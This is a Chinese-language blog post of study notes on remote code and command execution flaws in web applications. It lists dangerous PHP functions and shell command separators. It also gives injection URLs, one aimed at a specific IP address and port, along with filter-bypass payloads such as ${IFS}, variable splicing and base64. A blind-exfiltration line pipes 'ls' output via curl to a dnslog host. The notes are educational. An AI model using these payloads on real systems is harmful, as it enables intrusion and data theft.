
RCE漏洞
本文最后更新于 2025-01-18,文章内容可能已经过时。
漏洞简介
RCE(remote code/command excute)为远程代码 / 命令执行
两个漏洞
如何产生
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
黑盒:特殊功能点
白盒:
常用函数
PHP 中命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
PHP 中代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
连接符
Windows
&
&&
|
||
cmd1 & cmd2
http://web2/command_exec/win_cmd_ip.php?ip=127.0.0.1|dir
Linux
; 顺序执行
&
&&
|
||
http://43.138.171.224:11111/exec/linux_cmd_ip.php?ip=157.148.69.80;ip a;ls;pwd;cd ..;cd ..;ls;pwd
命令执行绕过
空格绕过
# 能去实现替代空格的效果
%20
%09
%0A
%00
<>
${IFS}
$IFS$1($IFS$1~9)
{cat,flag.php}
<
特殊命令绕过
cat
# 临时变量拼接
a=c;b=at;$a$b flag.php
# 空变量
c${x}at flag.php
# 转义符号
\c\a\t flag.php
# 通配符
* 匹配任意多个字符
? 匹配一个字符
cat fl*
cat fl??????
# base64编码
`echo aWQK | base64 -d`
# 无回显的命令执行
h9hyue.dnslog.cn
curl `ls`.h9hyue.dnslog.cn
漏洞挖掘
黑盒:一般去找一些与系统(命令)交互的功能点
白盒:代码审计
web功能点
url
(关键字)特殊参数ip port cmd=
api
图片
RCE 漏洞危害
执行系统命令
文件读写操作
反弹shell
控制整个服务器
移动(横向)
CE 漏洞防护
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 UrAsh
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果